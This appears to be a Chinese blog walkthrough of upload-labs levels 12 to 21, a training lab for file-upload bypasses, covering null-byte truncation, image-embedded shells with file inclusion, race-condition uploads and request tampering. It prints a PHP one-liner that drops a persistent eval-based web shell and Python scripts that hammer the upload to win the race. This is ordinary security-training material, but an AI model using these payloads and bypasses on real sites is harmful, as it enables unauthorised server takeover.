upload-labs通关过程(12关——21关)

 第12关

这一关我们使用到了%00截断,我们正常上传php文件并抓包在第一行upload/后加xxx.php%00

并将底下filenamedephp后缀改为jpg,就可以上传成功了,注意用蚁剑测试时链接中upload/后跟的是xxx.php。

第13关

这一关将upload后面加上111.php%00,%00右键进行url解码,将filename后的php改为jpg就可以上传成功了。 

第14关

这一关我们先说一下图片码的制作,准备好图片和php文件,打开cmd,输入以下代码就可制作出图片马。

将 图片码上传后点击文件包含漏洞在链接后输入?file=图片马链接(如图所示),就可以上传成功了。

第15关

同14关

第16关

打开php的php_exif模块,方法同14关

第17关

同14关

第18关

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

也就是说如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

我们要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
一句话“穷举法”

为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('666.php','w'),'<?php @eval($_POST["666"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个666.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的666.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

所以先抓包,发送到intruder

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的1.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

然后开始攻击

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问1.php知道成功访问到为止。当出现OK说明访问到了该文件,那么666.php应该也创建成功了,用蚁剑连一下试试。

运行Python脚本的步骤通常如下:

确保你已经安装了Python。你可以在终端(MacOS或Linux)或命令提示符(Windows)中输入 python --version 来检查。如果你看到一个版本号,比如 Python 3.8.5,那就意味着Python已经安装在你的电脑上。如果没有,你需要去Python官网下载并安装。
打开你用来输入命令的终端或命令提示符。
使用 cd 命令切换到包含你的Python脚本的文件夹。例如,如果你的脚本在名为 my_folder 的文件夹中,你可以输入 cd my_folder。
确保你的Python脚本是可执行的。如果你在Windows上,你可以右键点击文件,选择“属性”,然后在“常规”标签下勾选“解除锁定”。
在终端或命令提示符中输入 python your_script.py,其中 your_script.py 是你的Python脚本的文件名。
现在你的脚本应该开始运行了。你可以看到输出在你的命令行界面上。
注意:以上步骤适用于运行简单的Python脚本。如果你的脚本需要依赖其他库或环境,你可能需要在运行脚本之前先安装这些依赖。在运行复杂的项目时,可能会用到构建工具(如 pipenv, conda, venv等)来管理这些依赖。

当python脚本出现ok时就成功了,用蚁剑连接

第19关

这一关需要改一下题目的代码

打开第十九关,发现还是需要代码审计。那么再来看看源码吧。

代码太长了就不发了

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

我们要修改一下python脚本

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
然后抓包(方法同18关)

第20关

这关很简单,只需要改包,放包。把php后缀改为png,在upload后加/.

 第21关

这一关就是改包抓包,不过改的地方有点多

上面的是改包前,下面为改包后,改的东西挺多的还需要自己再添两行。完了就放包,上传成功了。 


 

  • 31
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值